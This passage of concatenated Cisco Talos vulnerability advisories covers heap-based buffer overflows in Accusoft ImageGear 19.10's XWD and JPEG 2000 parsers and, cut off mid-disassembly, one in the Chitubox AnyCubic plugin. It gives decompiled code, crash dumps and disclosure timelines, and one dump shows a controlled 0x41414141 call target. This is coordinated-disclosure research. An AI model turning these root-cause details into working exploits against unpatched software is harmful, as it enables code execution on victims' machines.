    eax=00000000 ebx=0bb36b30 ecx=00000075 edx=00000001 esi=0bb36b30 edi=0a90aff0
    eip=6ef7e280 esp=0019f608 ebp=0019f624 iopl=0         nv up ei pl nz na po cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
    MSVCR110!memcpy+0x567:
    6ef7e280 660f7f4f10      movdqa  xmmword ptr [edi+10h],xmm1 ds:002b:0a90b000=????????????????????????????????
    

The access violation is originated at [3] in the xwdread_read_bitmap function:

    void xwdread_read_bitmap(mys_table_function *param_1,uint param_2,XWD_read *XWDcontent,
                            undefined4 param_4,HIGDIBINFO param_5)
    
    {
    
    
      BytesPerLine = (XWDcontent->header_data).BytesPerLine;
      local_38 = 0;
      local_3c = 0;
      local_44 = 0;
      local_24 = 0;
      local_14 = 0;
      local_20 = 0;
      local_c = BytesPerLine;
      bit_depth = IGDIBStd::DIB_bit_depth_get(param_5);
      if (bit_depth == 1) {
        dst_buff_size = IO_raster_size_get(param_5);
      }
      else {
        dst_buff_size = DIBStd_raster_size_get(param_5);                                                    [1]
      }
      bitsPerPixel = (XWDcontent->header_data).BitsPerPixel;
      PixmapWidth = DIB_width_get(param_5);
      local_7c.size_buffer = DIB_height_get(param_5);
      
      [...]
      
      IOb_init(param_1,param_2,&local_7c,BytesPerLine * 5,1);
      lplValue1 = dst_buff_size;
      dst_buff = (byte *)AF_memm_alloc(param_2,dst_buff_size);                                              [2]
      if ((dst_buff != (byte *)0x0) ||
         (AVar3 = AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\xwdread.c",0x3ad,-1000,0,lplValue1
                                    ,param_2,(LPCHAR)0x0), AVar3 == 0)) {
        local_8 = 0;
        if (0 < (int)local_7c.size_buffer) {
          while ((iVar6 = local_8, puVar4 = (uint *)get_data_from_file(&local_7c,BytesPerLine),
                 local_1c = puVar4, puVar4 != (uint *)0x0 ||
                 (AVar3 = AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\xwdread.c",0x3b6,-0x803,0,
                                            BytesPerLine,param_2,(LPCHAR)0x0), AVar3 == 0))) {
            buff = puVar4;
            
            [...]
            
            bit_depth = IGDIBStd::DIB_bit_depth_get(param_5);
            if (true) {
              switch(bit_depth) {
              case 1:
              case 4:
              case 8:
                OS_memcpy(dst_buff,buff,BytesPerLine);                                                      [3]
                break;
              
              [...]
    }
    

The OS_memcpy function at [3] is a memcpy wrapper, so BytesPerLine bytes from buff are copied to dst_buff. The BytesPerLine value and buff’s content are taken directly from the XWD file. The destination buffer dst_buff is allocated at [2] using dst_buff_size as size.

The function DIBStd_raster_size_get, that computes the dst_buff_size value at [1], is shown here:

    AT_INT DIBStd_raster_size_get(HIGDIBINFO hdib)
    
        {
        [...]
        uVar1 = (*hdib->igdibstd_vftable->IGDIBStd::compute_raster_size)((IGDIBStd *)hdib);
        [...]
        return uVar1;
        }
    

The function call compute_raster_size:

    uint __fastcall IGDIBStd::compute_raster_size(IGDIBStd *param_1)
    
    {
    longlong lVar1;
    uint uVar2;
    ulonglong uVar3;
    
    lVar1 = (longlong)(int)(param_1->mys_struct_table_color).ptr_bits_per_channel_table *
            (longlong)(int)(param_1->mys_struct_table_color).ptr_channel_count;                             [4]
    uVar3 = __allmul((uint)lVar1,(uint)((ulonglong)lVar1 >> 0x20),param_1->size_X,
                    (int)param_1->size_X >> 0x1f);                                                          [5]
    lVar1 = (longlong)(uVar3 + 0x1f) >> 3;
                        /* if __all_mul's params2/4 are 0 the results is simply param1*param3 */
    uVar2 = (uint)lVar1 & 0xfffffffc;
    if ((-1 < lVar1) && ((0 < (int)((longlong)(uVar3 + 0x1f) >> 0x23) || (0x7ffffffe < uVar2)))) {
        wrapper_thow_exception
                ((undefined *)0xfffffe6f,(char *)0x0,(undefined *)0x0,(undefined *)0x0,
                (undefined **)0x1022fa38,(undefined *)0x29);
    }
    return uVar2;
    }
    

The calculation of dst_buff_size is based on the variable used in [4] and [5], where the first is dependent on the PixmapDepth and the latter is dependent on the PixmapWidth. The returned value is then used at [2] to allocate the dst_buff that is used as a temporary buffer to store, one at the time, the content of the bitmap’s “rows”. The problem is that neither PixmapWidth nor the calculated size are ever compared with the BytesPerLine variable. This allows the allocation of less space than required, leading to a heap-based buffer overflow.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 2687
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 10478
    
        Key  : Analysis.Init.CPU.mSec
        Value: 1015
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 63464
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 139
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 206950
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 62
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  2000000
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6ef7e280 (MSVCR110!memcpy+0x00000567)
    ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 0a90b000
    Attempt to write to address 0a90b000
    
    FAULTING_THREAD:  00002444
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0a90b000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  0a90b000
    
    STACK_TEXT:  
    0019f610 6e18f9a6     0a90aff0 0bb36b30 000000f5 MSVCR110!memcpy+0x567
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019f624 6e3247d2     0a90aff0 0bb36b30 000000f5 igCore19d+0xf9a6
    0019f6bc 6e325165     0019fc3c 1000001e 0019f718 igCore19d!IG_mpi_page_set+0x1387a2
    0019f6e4 6e323dfb     0019fc3c 1000001e 0a338ff8 igCore19d!IG_mpi_page_set+0x139135
    0019fbb4 6e1c13d9     0019fc3c 0a338ff8 00000001 igCore19d!IG_mpi_page_set+0x137dcb
    0019fbec 6e2008d7     00000000 0a338ff8 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6e200239     00000000 052d7fc0 00000001 igCore19d!IG_mpi_page_set+0x148a7
    0019fe88 6e195757     00000000 052d7fc0 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     052d7fc0 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     052d7fc0 052d9fe0 0523df50 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 05236f38 0523df50 Fuzzme!fuzzme+0x324
    0019ff70 75330419     0029e000 75330400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 778b72ed     0029e000 58b504f3 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 778b72bd     ffffffff 778d65b3 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 0029e000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  MSVCR110!memcpy+567
    
    MODULE_NAME: MSVCR110
    
    IMAGE_NAME:  MSVCR110.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_AVRF_c0000005_MSVCR110.dll!memcpy
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  11.0.50727.1
    
    FAILURE_ID_HASH:  {80e9803c-2e1f-2683-6c9b-fae163af54bc}
    
    Followup:     MachineOwner
    ---------
    

**Timeline**

2021-08-30 - Initial contact  
2021-08-31 - Vendor acknowledged and created support ticket  
2021-09-10 - Vendor closed support ticket and confirmed under review with engineering team  
2021-11-30 - 60 day follow up  
2021-12-01 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-21939: TALOS-2021-1368 || Cisco Talos Intelligence Group

**Summary**

A heap-based buffer overflow vulnerability exists in the XWD parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted XWD file can lead to a heap-based buffer overflow in the XWD parser, due to a missing size check.

Trying to load a malformed XWD file, we end up in the following situation:

    (1b14.213c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=016304c8 ebx=000000f5 ecx=0000003b edx=00000001 esi=0aa34b38 edi=0bc05000
    eip=6e9fe13d esp=0019f45c ebp=0019f474 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
    MSVCR110!memcpy+0x21e:
    6e9fe13d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
    

The access violation is originated at [3] in the xwdread_pixmapformat_0_or_1 function:

    void xwdread_pixmapformat_0_or_1
                (mys_table_function *param_1,uint param_2,XWD_read *xwd,undefined4 param_4,
                HIGDIBINFO param_5)
    
    {
    [...]
    
    local_8 = DAT_102bcea8 ^ (uint)&stack0xfffffffc;
    local_1d4 = param_2;
    bytePerLine = (xwd->header_data).BytesPerLine;
    error_code = 0;
    local_1dc = xwd;
    local_1e0 = param_5;
    local_1ac = 0;
    bytePerLine_ = bytePerLine;
    dVar2 = IGDIBStd::DIB_bit_depth_get(param_5);
    if (dVar2 == 1) {
        dst_buff_size = IO_raster_size_get(param_5);                                                        [1]
    }
    else {
        dst_buff_size = DIBStd_raster_size_get(param_5);
    }
    [...]
    
    dst_buff = (byte *)AF_memm_alloc(local_1d4,dst_buff_size);                                              [2]
    
    [...]
    if ((error_code == 0) && (local_1d0 = error_code, height = DIB_height_get(local_1e0), 0 < height)) {
        do {
        depth_done = 0;
        if (pixmapDepth_ != 0) {
            io_buffer = local_1a8;
            do {
            src_buff = (byte *)get_data_from_file(io_buffer,bytePerLine_);
            array_of_source_buff[depth_done] = src_buff;
            if (src_buff == (byte *)0x0) {
                local_1ac = AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\xwdread.c",0x2fc,-0x803,
                                            0,bytePerLine_,local_1d4,(LPCHAR)0x0);
                uVar11 = local_1d4;
                if (local_1ac != 0) goto LAB_101a44d0;
            }
            depth_done = depth_done + 1;
            piVar8 = (io_buffer *)&piVar8->size_buffer;
            } while (depth_done < pixmapDepth_);
            uVar11 = local_1d4;
            if (local_1ac != 0) break;
        }
        bytePerLine__ = bytePerLine_;
        [...]
        bit_depth = IGDIBStd::DIB_bit_depth_get(local_1e0);
        if (bit_depth == 1) {
            OS_memcpy(dst_buff,array_of_source_buff[0],bytePerLine__);                                      [3]
        }
    

The OS_memcpy function at [3] is a memcpy wrapper, so BytesPerLine bytes from array_of_source_buff[0] are copied to dst_buff. The BytesPerLine value and array_of_source_buff[0]’s content are taken directly from the XWD file. The destination buffer dst_buff is allocated at [2] using dst_buff_size as size.

The return value of the function IO_raster_size_get, that computes the dst_buff_size value at [1], in this specific case, is essentially: (PixmapWidth + 0x1f) >> 3) & 0xfffffffc.

It is evident that the size of dst_buff_size is only dependent on the PixmapWidth. The returned value of IO_raster_size_get is then used at [2] to allocate the dst_buff that is used as a temporary buffer to store, one at the time, the content of the bitmap’s “rows”. The problem is that neither PixmapWidth nor the calculated size are ever compared with the BytesPerLine variable. This allows the allocation of less space than required, leading to a heap-based buffer overflow.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 3046
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 9918
    
        Key  : Analysis.Init.CPU.mSec
        Value: 499
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 59454
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 141
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 38712
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 59
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  2000000
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6e9fe13d (MSVCR110!memcpy+0x0000021e)
    ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 0bc05000
    Attempt to write to address 0bc05000
    
    FAULTING_THREAD:  0000213c
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0bc05000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  0bc05000
    
    STACK_TEXT:  
    0019f460 6ebff9a6     0bc04ff8 0aa34b30 000000f5 MSVCR110!memcpy+0x21e
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019f474 6ed94489     0bc04ff8 0aa34b30 000000f5 igCore19d+0xf9a6
    0019f6bc 6ed9517f     0019fc3c 1000001e 0019f718 igCore19d!IG_mpi_page_set+0x138459
    0019f6e4 6ed93dfb     0019fc3c 1000001e 0ad9cff8 igCore19d!IG_mpi_page_set+0x13914f
    0019fbb4 6ec313d9     0019fc3c 0ad9cff8 00000001 igCore19d!IG_mpi_page_set+0x137dcb
    0019fbec 6ec708d7     00000000 0ad9cff8 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6ec70239     00000000 05287fd0 00000001 igCore19d!IG_mpi_page_set+0x148a7
    0019fe88 6ec05757     00000000 05287fd0 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     05287fd0 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     05287fd0 05289fe0 051edf50 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 051e6f50 051edf50 Fuzzme!fuzzme+0x324
    0019ff70 765f0419     0030c000 765f0400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 777a72ed     0030c000 ccadecfe 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 777a72bd     ffffffff 777c65e6 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 0030c000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  MSVCR110!memcpy+21e
    
    MODULE_NAME: MSVCR110
    
    IMAGE_NAME:  MSVCR110.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_STRING_DEREFERENCE_NXCODE_FILL_PATTERN_AVRF_c0000005_MSVCR110.dll!memcpy
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  11.0.50727.1
    
    FAILURE_ID_HASH:  {4dd4b8b0-04bb-4a7d-d82a-fdf37d88888e}
    
    Followup:     MachineOwner
    

**Timeline**

2021-09-10 - Initial contact  
2021-09-14 - Vendor acknowledged and created support ticket  
2021-09-21 - Vendor closed support ticket and confirmed under review with engineering team  
2021-11-30 - 60 day follow up  
2021-12-02 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-21943: TALOS-2021-1373 || Cisco Talos Intelligence Group

A heap-based buffer overflow vulnerability exists in the DecoderStream::Append functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A heap-based buffer overflow vulnerability exists in the DecoderStream::Append functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted JPEG 2000 file can lead to a heap-based buffer overflow in DecoderStream::Append, due to a wrongly sized heap buffer caused by an integer overflow.

Trying to load a malformed JPEG 2000 file, we end up in the following situation:

    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41414141 ebx=ffffb007 ecx=029ebf58 edx=00000000 esi=00004ff8 edi=029ebf58
    eip=6e982f83 esp=0019f820 ebp=029ecf10 iopl=0         nv up ei ng nz na po nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
    igJPEG2K19d!CPb_JPEG2K_init+0x2e2c3:
    6e982f83 ff10            call    dword ptr [eax]      ds:002b:41414141=????????
    

This write access violation is happening in the function read_data_from_file, the second function called by DecoderStream::Append:

    undefined * __thiscall read_data_from_file(inner_struct_0x58 *this,byte *dst_buffer,uint read_size)
    
      {
        int iVar1;
        byte *current_file_position;
        byte *remaining_data_to_read;
        uint local_4;
    
        current_file_position = this->heap_mem_file_content_current_pos_ptr;
        remaining_data_to_read = this->heap_mem_file_content_end_of_file_ptr + -(int)current_file_position
        ;
        local_4 = 0;
        if (remaining_data_to_read <= read_size) {
          do {
            if (remaining_data_to_read != (byte *)0x0) {
              memcpy(dst_buffer,current_file_position,(size_t)remaining_data_to_read);                         [1]
              this->heap_mem_file_content_current_pos_ptr =
                  this->heap_mem_file_content_current_pos_ptr + (int)remaining_data_to_read;
              local_4 = (uint)(remaining_data_to_read + local_4);
              dst_buffer = dst_buffer + (int)remaining_data_to_read;
              read_size = read_size + -(int)remaining_data_to_read;
            }
            if (((byte *)read_size == (byte *)0x0) ||
              (iVar1 = (*(code *)*this->PTR_FUN_ARRAY)(), iVar1 == 0)) {                  [6]
              return (byte *)local_4;
            }
            current_file_position = this->heap_mem_file_content_current_pos_ptr;
            remaining_data_to_read =
                this->heap_mem_file_content_end_of_file_ptr + -(int)current_file_position;
          } while (remaining_data_to_read <= read_size);
        }
        if ((byte *)read_size != (byte *)0x0) {
          memcpy(dst_buffer,this->heap_mem_file_content_current_pos_ptr,read_size);
          this->heap_mem_file_content_current_pos_ptr =
              this->heap_mem_file_content_current_pos_ptr + read_size;
          local_4 = read_size + local_4;
        }
        return (undefined *)local_4;
      }
    

The read_data_from_file is called in DecoderStream::Append shown here:

    uint __thiscall
    DecoderStream::Append(int this,inner_struct_0x58 *inner_0x58,uint bytes_size,ushort param3)
    
    {
      [...]
    
      if (bytes_size != 0) {
        allocation_res = malloc_mem_wrap(*(int *)(this + 8),(int **)(this + 0x28),param3,bytes_size);          [2]
                        /* allocation_res[2] still reside in allocated memory */
        n_bytes_read = read_data_from_file(inner_0x58,(byte *)allocation_res[2],bytes_size);                   [4]
        if (n_bytes_read != (undefined *)bytes_size) {
          if (n_bytes_read < bytes_size) {
            memset((void *)((int)allocation_res[2] + (int)n_bytes_read),0xff,
                    bytes_size - (int)n_bytes_read);                                                           [5]
          }
          local_14 = 0xfffffbff;
          local_10 = "DecoderStream::Append";
          local_c = 0x8c;
          local_8 = "..\\..\\..\\iostream\\decoderstream.cpp";
          local_4 = "unexpected EOF on pulling encoded data";
          uVar1 = FUN_73ecf6a0(*(int *)(this + 8),&local_14);
          return uVar1 & 0xffffff00;
        }
      }
      return CONCAT31((int3)((uint)n_bytes_read >> 8),1);
    }
    

The heap buffer in which the heap overflow takes place is allocated in [2]. The function called at [2] allocates a buffer with a size related to bytes_size, which is directly read from the file. This buffer is than populated, with data taken from the file, in [4] . If the buffer is not full after [4], the remaining available space would be filled up with 0xff in [5].

The first instructions of malloc_mem_wrap, the function called in [2], are shown here:

    PUSH       ECX
    PUSH       EBX
    PUSH       EBP
    MOV        EBP,dword ptr [ESP + bytes_size]
    PUSH       ESI
    PUSH       EDI
    PUSH       ECX
    LEA        EDI,[EBP + 0x1c]                                                                                [3]
    PUSH       EDI
    MOV        ESI,param_2
    MOV        EBX,ECX
    CALL       Environ::AllocMem
    [...]
    

An integer oveflow could occur in [3] because of the sum of bytes_size and 0x1c, leading to allocate a wrongly sized buffer. This could lead to a heap-based buffer oveflow in [1] and/or [5], which can result in remote code execution.

The exception, shown previosly, is the consequence of exploiting the wrongly sized allocated memory due to the integer overflow in [1]. In this specific case this led to overwriting an object’s field, living in the heap, that is used to fetch a function array pointer, then used in [6].

**Crash Information**

crash output:

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Dereference
        Value: String
    
        Key  : AV.Fault
        Value: Read
    
        Key  : Analysis.CPU.mSec
        Value: 2764
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 14845
    
        Key  : Analysis.Init.CPU.mSec
        Value: 687
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 1088838
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 133
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 24729
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 1088
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  470
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6e982f83 (igJPEG2K19d!CPb_JPEG2K_init+0x0002e2c3)
       ExceptionCode: c0000005 (Access violation)
      ExceptionFlags: 00000000
    NumberParameters: 2
       Parameter[0]: 00000000
       Parameter[1]: 41414141
    Attempt to read from address 41414141
    
    FAULTING_THREAD:  000027cc
    
    PROCESS_NAME:  Fuzzme.exe
    
    READ_ADDRESS:  41414141 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000000
    
    EXCEPTION_PARAMETER2:  41414141
    
    STACK_TEXT:  
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019f830 6e9c82c6     029e7f18 ffffffff 029f1ea8 igJPEG2K19d!CPb_JPEG2K_init+0x2e2c3
    0019f848 6e8e2ebb     0019f960 6e8e12b4 00000048 igJPEG2K19d!CPb_JPEG2K_init+0x73606
    0019f850 6e8e12b4     00000048 02a2b308 6e99cd17 igJPEG2K19d+0x2ebb
    0019f960 6e97d73e     029e0f78 02a2afc8 00000055 igJPEG2K19d+0x12b4
    0019f980 6e974109     029e0f78 02a2afc8 02a2c458 igJPEG2K19d!CPb_JPEG2K_init+0x28a7e
    0019fa58 6e96f55c     029e0f78 02a2afc8 007ebd78 igJPEG2K19d!CPb_JPEG2K_init+0x1f449
    0019faac 6e96cccd     02a2afc8 02a2aec8 02a2b044 igJPEG2K19d!CPb_JPEG2K_init+0x1a89c
    0019fb10 6e95dbba     02a2afc8 8c153897 007ebd78 igJPEG2K19d!CPb_JPEG2K_init+0x1800d
    0019fb54 6e961059     00000000 02a2aec8 00000000 igJPEG2K19d!CPb_JPEG2K_init+0x8efa
    0019fb70 6e9570a6     007ebd78 02a2aec8 8c15385f igJPEG2K19d!CPb_JPEG2K_init+0xc399
    0019fb9c 6e95711e     0019fc3c 007ebd00 00000000 igJPEG2K19d!CPb_JPEG2K_init+0x23e6
    0019fbb4 6ef013d9     0019fc3c 007ebd00 00000001 igJPEG2K19d!CPb_JPEG2K_init+0x245e
    0019fbec 6ef408d7     00000000 007ebd00 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6ef40239     00000000 007177a0 00000001 igCore19d!IG_mpi_page_set+0x148a7
    0019fe88 6eed5757     00000000 007177a0 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     007177a0 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     007177a0 007177e8 00717ad0 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 00716200 00717ad0 Fuzzme!fuzzme+0x324
    0019ff70 75b90419     002fd000 75b90400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 77a072ed     002fd000 fead64a1 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 77a072bd     ffffffff 77a265b0 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 002fd000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  igJPEG2K19d!CPb_JPEG2K_init+2e2c3
    
    MODULE_NAME: igJPEG2K19d
    
    IMAGE_NAME:  igJPEG2K19d.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_41414141_c0000005_igJPEG2K19d.dll!CPb_JPEG2K_init
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  25.1.0.0
    
    FAILURE_ID_HASH:  {79891e7d-f1f3-59e0-064a-4dbbd8234ed4}
    
    Followup:     MachineOwner
    ---------
    

**Timeline**

2021-08-23 - Initial contact  
2021-08-24 - Vendor acknowledged and created support ticket  
2021-10-29 - 60 day follow up  
2021-11-30 - Vendor investigating status  
2021-12-02 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted (2022-01-24)  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-21914: TALOS-2021-1362 || Cisco Talos Intelligence Group

A heap-based buffer overflow vulnerability exists in the readDatHeadVec functionality of AnyCubic Chitubox AnyCubic Plugin 1.0.0. A specially-crafted GF file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A heap-based buffer overflow vulnerability exists in the readDatHeadVec functionality of AnyCubic Chitubox AnyCubic Plugin 1.0.0. A specially-crafted GF file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

AnyCubic Chitubox AnyCubic Plugin 1.0.0  
Chitubox Basic V1.8.1

**Product URLs**

https://www.chitubox.com

**CVSSv3 Score**

7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

The Chitubox AnyCubic plugin is used to convert the output of the Chitubox slicer (general format files) into the format expected by AnyCubic’s series of printers. These converted files are then used directly for all functionality provided by the printers.

A heap buffer overflow occurs within the GfFile::readDatHeadVec function seen below. The overflow occurs due to an integer overflow that occurs at [1] . This overflow is caused by using 32-bit registers instead of the extended 64-bit registers. The imul instruction will truncate the value during the multiplication, losing the most significant 32 bits. This calculated sized is used at [2] to allocate the correct size for the vector of GfDatHead_t. At [3] a very similar multiplication occurs, but uses a 64-bit register for the multiplication instead, thus eliminating the possibility of an overflow (since both values are loaded as 32-bit values). This new value calculated at [3] is used at [4] in the fread as a length of data to read into the buffer sized using the value calculated at [1] which is too small, resulting in a buffer overflow while reading the file contents into the buffer.

    00006630  int64_t GfFile::readDatHeadVec(struct GfFile* this)
    
    00006630  f30f1efa           endbr64 
    00006634  53                 push    rbx {__saved_rbx}
    00006635  488b9728010000     mov     rdx, qword [rdi+0x128 {GfFile::gfDataHead.end}]
    0000663c  4889fb             mov     rbx, rdi
    0000663f  488b8f20010000     mov     rcx, qword [rdi+0x120 {GfFile::gfDataHead.begin}]
    00006646  // Load 0x6
